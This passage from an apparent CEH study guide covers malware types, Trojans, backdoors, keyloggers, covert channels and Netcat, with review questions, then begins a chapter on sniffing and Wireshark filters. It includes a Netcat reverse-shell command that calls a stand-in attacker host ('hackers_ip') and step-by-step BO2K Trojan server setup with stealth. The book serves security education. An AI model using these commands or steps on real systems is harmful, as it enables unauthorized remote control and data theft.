supposedly need to clean their system. In many cases, the utility the victim buys and
installs is actually something else, such as spyware, adware, or even a virus.
This type of software relies on the ignorance or fear of potential victims who do not know
that they are being played.
Scareware has become more common over the last few years as users have
become more knowledgeable and malware authors have had to change their tactics.
Enticing users to click realistic dialogs and presenting real-looking error messages
can be powerful ways to place illicit software on a user’s system.
Ransomware
This new form of malware is one that is rapidly spreading and can cause lots of problems
for those infected. Ransomware functions typically by searching for valuable files or data
and encrypting them. Once they’re encrypted, the victim will be informed that they need
to pay an amount to get the code to unlock their files. Another form of this type of
malware is not to encrypt files but to display pornographic images on their system and
stop only if a certain amount is paid in ransom.
Trojans
One of the older and potentially widely misunderstood forms of malware is the Trojan.
Simply put, a Trojan is a software application that is designed to provide covert access to a
victim’s system. The malicious code is packaged in such a way that it appears harmless
and thus gets around both the scrutiny of the user and the antivirus or other applications
that are looking for malware. Once on a system, its goals are similar to those of a virus or
worm: to get and maintain control of the system or perform some other task.
A Trojan infection may be indicated by some of the following behaviors:
The CD drawer of a computer opens and closes.
The computer screen changes, either flipping or inverting.
Screen settings change by themselves.
Documents print with no explanation.
The browser is redirected to a strange or unknown web page.
The Windows color settings change.
Screen saver settings change.
The right and left mouse buttons reverse their functions.
The mouse pointer disappears.
The mouse pointer moves in unexplained ways.
The Start button disappears.
Chat boxes appear.
The Internet service provider (ISP) reports that the victim’s computer is running port
scans.
People chatting with you appear to know detailed personal information about you.
The system shuts down by itself.
The taskbar disappears.
Account passwords are changed.
Legitimate accounts are accessed without authorization.
Unknown purchase statements appear on credit card bills.
Modems dial and connect to the Internet by themselves.
Ctrl+Alt+Del stops working.
When the computer is rebooted, a message states that other users are still connected.
Operations that could be performed by a hacker on a target computer system include
these:
Stealing data
Installing software
Downloading or uploading files
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Modifying files
Installing keyloggers
Viewing the system user’s screen
Consuming computer storage space
Crashing the victim’s system
Before we get too far on the subject of Trojans, you need to know about covert and overt
channels. A Trojan relies on these items:
An overt channel is a communication path or channel that is used to send information
or perform other actions. HTTP and TCP/IP are examples of communication
mechanisms that can and do send information legitimately.
A covert channel is a path that is used to transmit or convey information but does so
in a way that is illegitimate or supposed to be impossible but is able to circumvent
security. The covert channel violates security policy on a system.
Why would an attacker wish to use a Trojan instead of a virus? The reason typically is
because a Trojan is more stealthy, coupled with the fact that it opens a covert channel
that can be used to transmit information. The data transmitted can be a number of items,
including identity information.
An Unknowing Victim?
The following is an excerpt from a story that was originally published on http://zdnet
.co.uk:
Julian Green, 45, was taken into custody last October after police with a search
warrant raided his house and seized his computer due to suspicion of possessing
child pornography. After searching his computer, 172 images of child pornography
were found on his computer. He then spent a night in a police cell, nine days in
Exeter prison, and three months in a bail hostel. During this time, his ex-wife won
custody of his seven-year-old daughter and possession of his house.
This is thought to be the second case in the UK where a Trojan defense has been
used to clear someone of such an accusation. In April, a man from Reading was
found not guilty of the crime after experts testified that a Trojan could have been
responsible for the presence of 14 child porn images on his PC.
Trojan horses can be used to install a backdoor on a PC, allowing an attacker to freely
access the computer. Using the backdoor, a malicious user can send pictures or other
files to the victim’s computer or use the infected machine to access illegal websites,
while hiding the intruder’s identity. Infected machines can be used for storing files
without the knowledge of the computer’s owner.
Types of Trojans include the following:
Remote Access Trojans (RATs) Designed to give an attacker remote control over a
victim’s system. Two well-known members of this class are the SubSeven program and its
cousin, Back Orifice, although both are older examples.
Data Sending To fit into this category, a Trojan must capture some sort of data from the
victim’s system, including files and keystrokes. Once captured, this data can be
transmitted via email or other means if the Trojan is so enabled. Keyloggers are common
Trojans of this type.
Destructive This type of Trojan seeks to corrupt, erase, or destroy data outright on a
system. In more extreme cases, the Trojan may affect the hardware in such a way that it
becomes unusable.
Proxy Malware of this type causes a system to be used as a proxy by the attacker. The
attacker uses the victim’s system to scan or access another system or location. The result
is that the actual attacker is hard to find.
FTP Software in this category is designed to set up the infected system as an FTP server.
An infected system becomes a server hosting all sorts of information, which may include
illegal content of all types.
Security Software Disablers A Trojan can be used as the first step in further attacks if
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it is used to disable security software.
Detecting Trojans and Viruses
A Trojan can be detected in many ways. Port scanning can prove very effective if you
know what to look for.
Because a Trojan is used to allow access through backdoors or covert channels, a port
must be opened to allow this communication. A port scan using a tool such as Nmap
reveals these ports and allows you to investigate them further.
The following ports are used for classic Trojans:
Back Orifice—UDP 31337 or 31338
Back Orifice 2000—TCP/UDP 54320/54321
Beast—TCP 6666
Citrix ICA—TCP/UDP 1494
Deep Throat—UDP 2140 and 3150
Desktop Control—UDP NA
Loki—Internet Control Message Protocol (ICMP)
NetBus—TCP 12345 and 12346
Netcat—TCP/UDP (any)
NetMeeting Remote—TCP 49608/49609
pcAnywhere—TCP 5631/5632/65301
Reachout—TCP 43188
Remotely Anywhere—TCP 2000/2001
Remote—TCP/UDP 135-1139
Whack-a-Mole—TCP 12361 and 12362
NetBus 2 Pro—TCP 20034
GirlFriend—TCP 21544
Masters Paradise—TCP 3129, 40421, 40422, 40423, and 40426
Timbuktu—TCP/UDP 407
VNC—TCP/UDP 5800/5801
See Exercise 8.2 to learn how to use netstat to detect open ports.
EXERCISE 8.2
Using Netstat to Detect Open Ports
Another tool that is effective at detecting Trojans is netstat. This tool can list the
ports that are open and listening for connections on the system.
To use netstat, follow these steps in Windows:
1. Open a command prompt.
2. At the command line, enter netstat –an (note that the command is case
sensitive).
3. Observe the results.
You should see that several ports are open and listening. You may not recognize all
the numbers, but that doesn’t mean they are malicious. You may wish to research the
open ports (they vary from system to system) to see what each relates to.
Note that although the ports here refer to some classic examples of Trojans, there are
many new ones. We cannot list them all, because they are ever evolving and the ports
change.
See Exercise 8.3 to learn about TCPView.
EXERCISE 8.3
Using TCPView to Track Port Usage
Netstat is a powerful tool, but one of its shortcomings is the fact that it is not real
time. If you wish to track port usage in real time, you can use tools like TCPView.
If you do not already have TCPView, you can download it from www.microsoft.com.
To use TCPView, follow these steps:
1. In Windows, run the tcpview.exe executable.
2. Observe the results in the GUI (see Figure 8.2, which shows the GUI).
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Figure 8.2 TCPView interface
3. With TCPView still running, open a web browser, and go to www.wiley.com.
4. In TCPView, notice the results and that new entries have been added.
5. In the browser, go to www.youtube.com (or some other site that streams video or
audio), and play a video or piece of content.
6. In TCPView, watch how the entries change as ports are opened and closed.
Observe for a minute or two, and note how the display updates.
7. Close the web browser.
8. In TCPView, observe how the display updates as some connections and
applications are removed.
What is really convenient about TCPView is that it color-codes the results: Red
means a connection will close shortly, and green means a connection has been
opened.
When using TCPView, you can save snapshots of the screen contents to a TXT file.
This feature is extremely helpful for investigation and later analysis of information
and potentially for incident-management purposes later.
Tools for Creating Trojans
A wide range of tools exists that are used to take control of a victim’s system and leave
behind a gift in the form of a backdoor. This is not an exhaustive list, and newer versions
of many of these are released regularly:
Let Me Rule A remote access Trojan authored entirely in Delphi. It uses TCP port 26097
by default.
RECUB Remote Encrypted Callback Unix Backdoor (RECUB) borrows its name from the
Unix world. It features RC4 encryption, code injection, and encrypted ICMP
communication requests. It demonstrates a key trait of Trojan software—small size—as it
tips the scale at less than 6 KB.
Phatbot Capable of stealing personal information including email addresses, credit card
numbers, and software licensing codes. It returns this information to the attacker or
requestor using a P2P network. Phatbot can also terminate many antivirus and softwarebased firewall products, leaving the victim open to secondary attacks.
Amitis Opens TCP port 27551 to give the hacker complete control over the victim’s
computer.
Zombam.B Allows the attacker to use a web browser to infect a computer. It uses port
80 by default and is created with a Trojan-generation tool known as HTTPRat. Much like
Phatbot, it also attempts to terminate various antivirus and firewall processes.
Beast Uses a technique known as Data Definition Language (DDL) injection to inject
itself into an existing process, effectively hiding itself from process viewers.
Hard-Disk Killer A Trojan written to destroy a system’s hard drive. When executed, it
attacks a system’s hard drive and wipes it in just a few seconds.
One tool that should be mentioned as well is Back Orifice, which is an older Trojancreation tool. Most, if not all, of the antivirus applications in use today should be able to
detect and remove this software.
I thought it would be interesting to look at the text the manufacturer uses to describe its
toolkit. Note that it sounds very much like the way a normal software application from a
major vendor would be described. The manufacturer of Back Orifice says this about Back
Orifice 2000 (BO2K):
Built upon the phenomenal success of Back Orifice released in August 98, BO2K puts
network administrators solidly back in control. In control of the system, network,
registry, passwords, file system, and processes. BO2K is a lot like other major filesynchronization and remote control packages that are on the market as commercial
products. Except that BO2K is smaller, faster, free, and very, very extensible. With the
help of the open-source development community, BO2K will grow even more
powerful. With new plug-ins and features being added all the time, BO2K is an obvious
choice for the productive network administrator.
An In-Depth Look at BO2K
Whether you consider it a Trojan or a remote administrator tool, the capabilities of BO2K
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are fairly extensive for something of this type. This list of features is adapted from the
manufacturer’s website:
Address book–style server list
Functionality that can be extended via the use of plug-ins
Multiple simultaneous server connections
Session-logging capability
Native server support
Keylogging capability
Hypertext Transfer Protocol (HTTP) file system browsing and transfer
Microsoft Networking file sharing
Remote registry editing
File browsing, transfer, and management
Plug-in extensibility
Remote upgrading, installation, and uninstallation
Network redirection of Transfer Control Protocol/Internet Protocol (TCP/IP)
connections
Ability to access console programs such as command shells through Telnet
Multimedia support for audio/video capture and audio playback
Windows NT registry passwords and Win9x screen saver password dumping
Process control, start, stop, and list
Multiple client connections over any medium
GUI message prompts
BO2K is a next-generation tool that was designed to accept customized, specially designed
plug-ins. It is a dangerous tool in the wrong hands. With the software’s ability to be
configured to carry out a diverse set of tasks at the attacker’s behest, it can be a
devastating tool.
BO2K consists of two software components: a client and a server. To use the BO2K server,
the configuration is as follows:
1. Start the BO2K Wizard, and click Next when the wizard’s splash screen appears.
2. When prompted by the wizard, enter the server executable to be edited.
3. Choose the protocol over which to run the server communication. The typical choice is
to use TCP as the protocol, due to its inherent robustness. UDP is typically used if a
firewall or other security architecture needs to be traversed.
4. The next screen asks what port number will be used. Port 80 is generally open, and so
it’s most often used, but you can use any open port.
5. In the next screen, enter a password that will be used to access the server. Note that
passwords can be used, but you can also choose open authentication—that means
anyone can gain access without having to supply credentials of any kind.
6. When the wizard finishes, the server-configuration tool is provided with the
information you entered.
7. The server can be configured to start when the system starts up. This allows the
program to restart every time the system is rebooted, preventing the program from
becoming unavailable.
8. Click Save Server to save the changes and commit them to the server.
Once the server is configured, it is ready to be installed on the victim’s system.
No matter how the installation is to take place, the only application that needs to be run
on the target system is the BO2K executable. After this application has run, the previously
configured port is open on the victim’s system and ready to accept input from the
attacker.
The application also runs an executable file called Umgr32.exe and places it in the
Windows system32 folder. In addition, if you configure the BO2K executable to run in
stealth mode, it does not show up in Task Manager—it modifies an existing running
process to act as its cover. If stealth was not configured, the application appears as a
Remote Administration Service.
The attacker now has a foothold on the victim’s system.
Distributing Trojans
Once a Trojan has been created, you must address how to get it onto a victim’s system.
For this step, many options are available, including tools known as wrappers.
Using Wrappers to Install Trojans
Using wrappers, attackers can take their intended payload and merge it with a harmless
executable to create a single executable from the two. Some more advanced wrapper-style
programs can even bind together several applications rather than just two. At this point,
the new executable can be posted in a location where it is likely to be downloaded.
Consider a situation in which a would-be attacker downloads an authentic application
from a vendor’s website and uses wrappers to merge a Trojan (BO2K) into the application
before posting it on a newsgroup or other location. What looks harmless to the
downloader is actually a bomb waiting to go off on the system. When the victim runs the
infected software, the infector installs and takes over the system.
Some of the better-known wrapper programs are the following:
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EliteWrap is one of the most popular wrapping tools, due to its rich feature set that
includes the ability to perform redundancy checks on merged files to make sure the
process went properly and the ability to check if the software will install as expected.
The software can be configured to the point of letting the attacker choose an
installation directory for the payload. Software wrapped with EliteWrap can be
configured to install silently without any user interaction.
Saran Wrap is specifically designed to work with and hide Back Orifice. It can bundle
Back Orifice with an existing program into what appears to be a standard program
using Install Shield.
Trojan Man merges programs and can encrypt the new package in order to bypass
antivirus programs.
Teflon Oil Patch is designed to bind Trojans to a specified file in order to defeat
Trojan-detection applications.
Restorator was designed with the best of intentions but is now used for less-thanhonorable purposes. It can add a payload to, for example, a seemingly harmless screen
saver, before it is forwarded to the victim.
Firekiller 2000 is designed to be used with other applications when wrapped. This
application disables firewall and antivirus software. Programs such as Norton
Antivirus and McAfee VirusScan were vulnerable targets prior to being patched.
Trojan Construction Kits
Much as for viruses and worms, several construction kits are available that allow for the
rapid creation and deployment of Trojans. The availability of these kits has made
designing and deploying malware easier than ever before:
Trojan Construction Kit One of the best examples of a relatively easy-to-use but
potentially destructive tool. This kit is command-line based, which may make it a little
less accessible to the average person, but it is nonetheless very capable in the right hands.
With a little effort, it is possible to build a Trojan that can engage in destructive behavior
such as destroying partition tables, master boot records (MBRs), and hard drives.
Senna Spy Another Trojan-creation kit that provides custom options, such as file
transfer, executing DOS commands, keyboard control, and list and control processes.
Stealth Tool A program used not to create Trojans but to assist them in hiding. In
practice, this tool is used to alter the target file by moving bytes, changing headers,
splitting files, and combining files.
Backdoors
Many attackers gain access to their target system through a backdoor. The owner of a
system compromised in this way may have no indication that someone else is using the
system.
When implemented, a backdoor typically achieves one or more of the following key goals:
Lets an attacker access a system later by bypassing any countermeasures the system
owner may have placed.
Provides the ability to gain access to a system while keeping a low profile. This allows
an attacker to access a system and circumvent logging and other detective methods.
Provides the ability to access a system with minimal effort in the least amount of time.
Under the right conditions, a backdoor lets an attacker gain access to a system without
having to rehack.
Some common backdoors that are placed on a system are of the following types and
purposes:
Password-cracking backdoor—Backdoors of this type rely on an attacker uncovering
and exploiting weak passwords that have been configured by the system owner.
Process-hiding backdoor—An attacker who wants to stay undetected for as long as
possible typically chooses to go the extra step of hiding the software they are running.
Programs such as a compromised service, a password cracker, sniffers, and rootkits
are items that an attacker will configure so as to avoid detection and removal.
Techniques include renaming a package to the name of a legitimate program and
altering other files on a system to prevent them from being detected and running.
Once a backdoor is in place, an attacker can access and manipulate the system at will.
Overt and Covert Channels
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When you are working with Trojans and other malware, you need to be aware of covert
and overt channels. As mentioned earlier in the chapter, the difference between the two is
that an overt channel is put in place by design and represents the legitimate or intended
way for the system or process to be used, whereas a covert channel uses a system or
process in a way that it was not intended to be used.
The biggest users of covert channels that we have discussed are Trojans. Trojans are
designed to stay hidden while they send information or receive instructions from another
source. Using covert channels means the information and communication may be able to
slip past detective mechanisms that are not designed or positioned to be aware of or look
for such behavior.
Tools to exploit covert channels include the following:
Loki Originally designed to be a proof of concept on how ICMP traffic can be used as a
covert channel. This tool is used to pass information inside ICMP echo packets, which can
carry a data payload but typically do not. Because the ability to carry data exists but is not
used, this can make an ideal covert channel.
ICMP Backdoor Similar to Loki, but instead of using Ping echo packets, it uses Ping
replies.
007Shell Uses ICMP packets to send information, but goes the extra step of formatting
the packets so they are a normal size.
B0CK Similar to Loki but uses Internet Group Management Protocol (IGMP).
Reverse World Wide Web (WWW) Tunneling Shell Creates covert channels
through firewalls and proxies by masquerading as normal web traffic.
AckCmd Provides a command shell on Windows systems.
Another powerful way of extracting information from a victim’s system is to use a piece of
technology known as a keylogger. Software in this category is designed to capture and
report activity in the form of keyboard usage on a target system. When placed on a
system, it gives the attacker the ability to monitor all activity on a system and reports
back to the attacker. Under the right conditions, this software can capture passwords,
confidential information, and other data.
Some of the keystroke recorders are these:
IKS Software Keylogger A Windows-based keylogger that runs in the background on a
system at a very low level. Due to the way this software is designed and runs, it is very
hard to detect using most conventional means. The program is designed to run at such a
low level that it does not show up in process lists or through normal detection methods.
Ghost Keylogger Another Windows-based keylogger that is designed to run silently in
the background on a system, much like IKS. The difference between this software and IKS
is that it can record activity to an encrypted log that can be emailed to the attacker.
Spector Pro Designed to capture keystroke activity, email passwords, chat conversations
and logs, and instant messages.
Fakegina An advanced keylogger that is very specific in its choice of targets. This
software component is designed to capture usernames and passwords from a Windows
system. Specifically, it intercepts the communication between the Winlogon process and
the logon GUI in Windows.
Netcat is a simple command-line utility available for Linux, Unix, and Windows
platforms. It is designed to read information from connections using TCP or UDP and do
simple port redirection on them as configured.
Let’s look at the steps involved to use Netcat to perform port redirection. The first step is
for the hacker to set up what is known as a listener on their system. This prepares the
attacker’s system to receive the information from the victim’s system. To set up a listener,
the command is as follows:
nc -v -l -p 80
In this example, nc is run with the -v switch for verbose mode, which provides additional
information; -l means to listen and -p tells the program to listen on a specific port.
After this, the attacker needs to execute the following command on the victim’s system to
redirect the traffic to their system:
nc hackers_ip 80 -e "cmd.exe"
In this second command the desired IP is entered and then followed by a port number;
the -e states that the executable following the switch is to be run on connect.
Once this is entered, the net effect is that the command shell on the victim’s system is at
the attacker’s command prompt, ready for input as desired.
Of course, Netcat has some other capabilities, including port scanning and placing files on
a victim’s system. Port scanning can be accomplished using the following command:
nc -v -z -w1 IPaddress <start port> - <ending port>
This command scans a range of ports as specified.
Netcat isn’t the only tool available to do port redirection. Tools such as Datapipe and
Fpipe can perform the same functions, albeit in different ways.
The following is a list of options available for Netcat:
Nc –d
Detaches Netcat from the console
Nc -l -p [port]
Creates a simple listening TCP port; adding -u places it into UDP mode.
Nc -e [program]
Redirects stdin/stdout from a program
Nc -w [timeout]
Sets a timeout before Netcat automatically quits
Program | nc
Pipes program output to Netcat
Nc | program
Pipes Netcat output to a program
Nc -h
Displays help options
Nc -v
Puts Netcat into verbose mode
Nc -g
or nc -G Specifies source routing flags
Nc -t
Used for Telnet negotiation
Nc -o [file]
Nc -z
Hex-dumps traffic to a file.
Used for port scanning without transmitting data
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Summary
In this chapter, we covered one of the largest and most dangerous threats that has
emerged and evolved over the last 30 years: malware. You learned that malware is a
blanket term used to describe the family of software that includes viruses, worms,
Trojans, and logic bombs, as well as adware and spyware. Each of these types of malware
has been responsible for problems over the years and has done everything from being an
annoyance to causing outright harm. Malware collectively has evolved dramatically to
now include the ability to steal passwords, personal information, and identities in
addition to being used in countless other crimes.
You learned that malware is just an encompassing term but the software types that it
covers are far from new. Viruses and worms are some of the oldest malicious software in
existence. But the power of this software has changed dramatically as hardware and
software have become more powerful, and the bar to create malware has been lowered
(thanks to readily available tools). Exacerbating the problem is the fact that malware can
be distributed quickly, thanks to improved connectivity and faster distribution methods
that are readily available and accessible.
Exam Essentials
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Understand the different types of malware. You must know the difference between
viruses, worms, and Trojans. Each has a unique way of functioning, and you must
understand these innate differences.
Know how to identify malware. Be aware of the signs of a malware attack.
Understand the flexible terminology. The topic of malware is presented on the exam
in many varied ways. Malware takes many forms, each of which has it own functions and
features.
Review Questions
1. Which statement(s) defines malware most accurately?
A. Malware is a form of virus.
B. Trojans are malware.
C. Malware covers all malicious software.
D. Malware only covers spyware.
2. Which is/are a characteristic of a virus?
A. A virus is malware.
B. A virus replicates on its own.
C. A virus replicates with user interaction.
D. A virus is an item that runs silently.
3. A virus does not do which of the following?
A. Replicate with user interaction
B. Change configuration settings
C. Exploit vulnerabilities
D. Display pop-ups
4. Which of the following is/are true of a worm?
A. A worm is malware.
B. A worm replicates on its own.
C. A worm replicates with user interaction.
D. A worm is an item that runs silently.
5. What are worms typically known for?
A. Rapid replication
B. Configuration changes
C. Identity theft
D. DDoS
6. What command is used to listen to open ports with netstat?
A. netstat -an
B. netstat -ports
C. netstat -n
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D. netstat -s
7. Which utility will tell you in real time which ports are listening or in another state?
A. Netstat
B. TCPView
C. Nmap
D. Loki
8. Which of the following is not a Trojan?
A. BO2K
B. LOKI
C. Subseven
D. TCPTROJAN
9. What is not a benefit of hardware keyloggers?
A. Easy to hide
B. Difficult to install
C. Difficult to detect
D. Difficult to log
10. Which of the following is capable of port redirection?
A. Netstat
B. TCPView
C. Netcat
D. Loki
11. A Trojan relies on __________ to be activated.
A. Vulnerabilities
B. Trickery and deception
C. Social engineering
D. Port redirection
12. A Trojan can include which of the following?
A. RAT
B. TCP
C. Nmap
D. Loki
13. What is a covert channel?
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A. An obvious method of using a system
B. A defined process in a system
C. A backdoor
D. A Trojan on a system
14. An overt channel is __________.
A. An obvious method of using a system
B. A defined backdoor process in a system
C. A backdoor
D. A Trojan on a system
15. A covert channel or backdoor may be detected using all of the following except
__________.
A. Nmap
B. Sniffers
C. An SDK
D. Netcat
16. A remote access Trojan would be used to do all of the following except __________.
A. Steal information
B. Remotely control a system
C. Sniff traffic
D. Attack another system
17. A logic bomb has how many parts, typically?
A. One
B. Two
C. Three
D. Four
18. A logic bomb is activated by which of the following?
A. Time and date
B. Vulnerability
C. Actions
D. Events
19. A polymorphic virus __________.
A. Evades detection through backdoors
B. Evades detection through heuristics
C. Evades detection through rewriting itself
D. Evades detection through luck
20. A sparse infector virus __________.
A. Creates backdoors
B. Infects data and executables
C. Infects files selectively
D. Rewrites itself
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Chapter 9
Sniffers
CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
II. Analysis/Assessment
A. Data analysis
IV. Tools/Systems/Programs
B. Network/wireless sniffers (e.g., Wireshark, Airsnort)
Sniffing allows you to see all sorts of traffic, both protected and
unprotected. In the right conditions and with the right protocols in place, an attacking
party may be able to gather information that can be used for further attacks or to cause
other issues for the network or system owner.
Once you have gotten to the point of sniffing, it is possible to move on to other types of
attacks, including session hijacking, man-in-the-middle, and denial-of-service attacks.
Taking over authenticated sessions, manipulating data, and executing commands are
within the realm of possibility once sniffing can be performed. Of course, before we get to
these attacks, you must learn about sniffing and how sniffers work.
In this chapter we spend a lot of time working with network sniffers.
Sniffers are not a hacking tool; they are a completely valid and extremely useful tool
for reviewing a network’s functioning at a very low level and diagnosing network
issues. Over the years sniffers have proven their worth time and time again to
network administrators who need to solve problems that cannot be viewed or
analyzed easily or at all using other tools.
Understanding Sniffers
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Sniffers are utilities that you, as an ethical hacker, can use to capture and scan traffic
moving across a network. Sniffers are a broad category that encompasses any utility that
has the ability to perform a packet-capturing function. Regardless of the build, sniffers
perform their traffic-capturing function by enabling promiscuous mode on the connected
network interface, thereby allowing the capture of all traffic, whether or not that traffic is
intended for them. Once an interface enters promiscuous mode, it doesn’t discriminate
between traffic that is destined for its address; it picks up all traffic on the wire, thereby
allowing you to capture and investigate every packet.
Sniffing can be active or passive in nature. Typically, passive sniffing is considered to be
any type of sniffing where traffic is looked at but not altered in any way. Essentially,
passive sniffing means listening only. In active sniffing, not only is traffic monitored, but
it may also be altered in some way as determined by the attacking party. Know the
difference for your exam.
When on a switched network, your traffic capture is limited to the
segment you are connected to regardless of the mode of your interface card. We’ll
discuss this in more detail later. For now, just remember that for your sniffer to be
effective, your interface card must be in promiscuous mode.
Most sniffer utilities have basic options that are fairly consistent across the gamut of
versions. This consistency holds true regardless of whether it’s a Linux-based utility or a
Windows version. We’ll dig more into types and specifics later, but first let’s look at the
commonalities. On most sniffers a main pane displays the incoming packets and
highlights or lists them accordingly. It is usually linear in its listing unless you specify
otherwise via filters or other options. In addition, there is commonly a subpanel that
allows an in-depth view of the packet selected. It’s important to be familiar with your
sniffer of choice because it will save you a lot of time and frustration in the long run. Also,
having a good grasp of a sniffer’s basic functions will allow you to use many different
sniffers without too many problems. So, from here, a sniffer usually has an interface
selection or activation option that begins the capture phase.
Pop quiz: What happens when the capture button is activated? You got it!
The NIC switches to promiscuous mode!
Once you choose the capture button, you should see packets populating your capture
pane; if not, check your network interface selection. All sniffers give you the ability to
select from all available interfaces on your computer. You can easily choose a
disconnected interface and sit there irritated because your sniffer isn’t working. Just
double-check and you’ll be happily rewarded with real-time traffic!
Use that save capture function! Real-time capture and analysis is
impressive and flashy, but it’s also an immense pain in the butt! Also keep in mind
that the exam offers you four hours to mull over those 150 questions, and there are
no live streaming feeds to anxiously digest. Take one packet at a time and make sure
you understand all its pieces and parts.
Remember that a sniffer is not just a dumb utility that allows you to view only streaming
traffic. A sniffer is a robust set of tools that can give you an extremely in-depth and
granular view of what your (or their) network is doing from the inside out. That being
said, if you really want to extrapolate all the juicy tidbits and clues of each packet, save
the capture and review it when time allows. I prefer to review my 20,000 packets of
captured data at my local coffee shop with a hot vanilla latte and a blueberry scone. Make
it easy on yourself; your target is not going anywhere soon.
Before we go too much into sniffers, it is important to mention that there are also
hardware protocol analyzers. These devices plug into the network at the hardware level
and can monitor traffic without manipulating it. Typically these hardware devices are not
easily accessible to most ethical hackers due to their enormous cost in many cases (some
devices have price tags in the six-figure range).
Law Enforcement Agencies and Sniffing
Lawful interception (LI) is defined as legally sanctioned access to communications
network data such as telephone calls or email messages. LI must always be in
pursuance to a lawful authority for the purpose of analysis or evidence. Therefore, LI
is a security process in which a network operator or service provider gives law
enforcement officials permission to access private communications of individuals or
organizations. Almost all countries have drafted and enacted laws to regulate lawful
interception procedures; standardization groups are creating LI technology
specifications. Usually, LI activities are taken for the purpose of infrastructure
protection and cyber security. However, operators of private network infrastructures
can maintain LI capabilities within their own networks as an inherent right, unless
otherwise prohibited. LI was formerly known as wiretapping and has existed since
the inception of electronic communications.
How successful you are at the sniffing process depends on the relative and inherent
insecurity of certain network protocols. Protocols such as the tried and true TCP/IP were
never designed with security in mind and therefore do not offer much in this area. Several
protocols lend themselves to easy sniffing:
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Telnet/rlogin Keystrokes, such as those including usernames and passwords, can be
easily sniffed.
HTTP Designed to send information in the clear without any protection and thus a good
target for sniffing.
Simple Mail Transfer Protocol (SMTP) Commonly used in the transfer of email, this
protocol is efficient, but it does not include any protection against sniffing.
Network News Transfer Protocol (NNTP) All communication, including passwords
and data, is sent in the clear.
Post Office Protocol (POP) Designed to retrieve email from servers, this protocol does
not include protection against sniffing because passwords and usernames can be
intercepted.
File Transfer Protocol (FTP) A protocol designed to send and receive files; all
transmissions are sent in the clear.
Internet Message Access Protocol (IMAP) Similar to SMTP in function and lack of
protection.
Using a Sniffer
We touched on some of the basics of using a sniffer in the previous section, but now let’s
get down and dirty. Quite a few sniffer software packages are available that perform
nearly identical functions. The real advantage of one over the other is the robustness of
functionality in how the sniffer displays that data and what options are available to help
you digest and dissect it.
In terms of LI, typically the sniffing process is looked at as having three
components. The first component is an intercept access point (IAP) that gathers the
information for the LI. The second component is a mediation device supplied by a
third party that handles the bulk of the information processing. The third component
is a collection function that stores and processes information intercepted by the third
party.
Sniffing Tools
Sniffing tools are extremely common applications. A few interesting ones are listed here:
Wireshark One of the most widely known and used packet sniffers. Offers a tremendous
number of features designed to assist in the dissection and analysis of traffic.
Tcpdump A well-known command-line packet analyzer. Provides the ability to intercept
and observe TCP/IP and other packets during transmission over the network. Available at
www.tcpdump.org.
WinDump A Windows port of the popular Linux packet sniffer tcpdump, which is a
command-line tool that is great for displaying header information.
OmniPeek Manufactured by WildPackets, OmniPeek is a commercial product that is the
evolution of the product EtherPeek.
Dsniff A suite of tools designed to perform sniffing with different protocols with the
intent of intercepting and revealing passwords. Dsniff is designed for Unix and Linux
platforms and does not have a complete equivalent on the Windows platform.
EtherApe A Linux/Unix tool designed to graphically display a system’s incoming and
outgoing connections.
MSN Sniffer A sniffing utility specifically designed for sniffing traffic generated by the
MSN Messenger application.
NetWitness NextGen Includes a hardware-based sniffer, along with other features,
designed to monitor and analyze all traffic on a network; a popular tool in use by the FBI
and other law enforcement agencies.
The sniffing tools listed here are only a small portion of the ones
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available. It is worth your time to investigate some of these, or all if you have the
time, to improve your skills. We spend plenty of time with Wireshark in this book
because it is the recognized leader. Anything you learn with this sniffer will work
with the others—it’s just a matter of learning a new interface.
Wireshark
As of this writing, Wireshark reigns supreme as perhaps the best sniffer on the market.
Wireshark has been around for quite a while, and it has proven its worth time and time
again. Wireshark is natively available on Windows, Mac OSX, and Linux.
In this chapter when we use Wireshark we are assuming that the network
is wired and not wireless. If you will be using Wireshark to sniff wireless traffic, you
need to go one step further, which is to use AirPcap. This is a hardware device that
allows sniffing of traffic at a more comprehensive level than can be done without the
device.
Sniffer builds include tcpdump, Kismet, and Ettercap, among others. A great resource for
sniffers and many other security tools is www.sectools.org. All sniffers have their place in
the sniffing universe, but for our purposes we will be focusing on Wireshark. First, let’s
do a quick run through on Wireshark basics in Exercise 9.1.
You do not necessarily need to know how to use Wireshark in depth, but
you will be expected to be able to understand how a sniffer works and be able to
dissect and understand captured packets. Wireshark is a de facto industry standard as
far as sniffers are concerned, so being comfortable with it will aid you in the exam
and the real world.
EXERCISE 9.1
Sniffing with Wireshark
1. Make sure Wireshark is running on your Kali Linux client, as shown here.
2. Choose Capture ➢ Interfaces to open the window shown here. This step is
identical on Linux, Mac OSX, and Windows versions.
3. Once you’ve successfully begun the capture, you’re all set to start sending your
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test packets across the wire. For this exercise use Telnet to send TCP traffic from
a Windows 7 client to a Windows XP client.
You have several options for generating traffic. Remember that a wireless
connection (802.11) works as a hub-like environment, meaning you can capture
all traffic floating in the network. Connecting to your home wireless and selecting
the appropriate NIC in your sniffer will pull ample traffic for this exercise.
4. Once you have a good number of packets captured (or those specific packets you
are looking for), you can stop the capture and save it for later review. Saving a
capture for later investigation is a good habit to get into. It’s the same as saving
any other file: Choose File ➢ Save As, and then name the file and save it to the
appropriate location.
5. Next, open your saved capture and use search strings and filtering to find what
you want. Opening a saved capture is just like opening any document: Choose File
➢ Open and then select the file.
In Exercise 9.1, you used Telnet, but the exam will focus on your
understanding of traffic flow. I chose client OSs at random for this exercise. Specific
operating system vulnerabilities and unique identifying actions are covered in
Chapter 6, “Enumeration.”
Search strings in Wireshark are testable items—you will definitely see
questions regarding their syntax and use. For a good resource, check out
www.wireshark.org/docs.
As you can see from the live capture and saved capture, there’s a lot going on! One
powerful feature of Wireshark is its search string and filtering capabilities. In a real-world
capture, it is likely to be sniffing a connection that has a large number of attached clients.
This is when search strings and filtering become a pentester’s best friend. Table 9.1 shows
common search string options for Wireshark. The CEH exam tests whether you can apply
your understanding of this tool and its options.
Table 9.1 Wireshark filters
Operator Function
Example
==
Equal
ip.addr == 192.168.1.2
eq
Equal
tcp.port eq 161
!=
Not equal
ip.addr != 192.168.1.2
ne
Not equal
ip.src ne 192.168.1.2
contains
Contains specified value http contains "http://www.site.com"
Table 9.1 lists the basic filters that you will most likely use (and may see on the exam). As
you review the examples used in the table, notice the structure or syntax of each
statement and how it relates to what the filter is doing. To see how each of these
examples maps to the syntax, refer to Table 9.2.
Table 9.2 Wireshark filter breakdown
Protocol Field Operator Value
ip
Addr
==
192.168.1.2
tcp
port
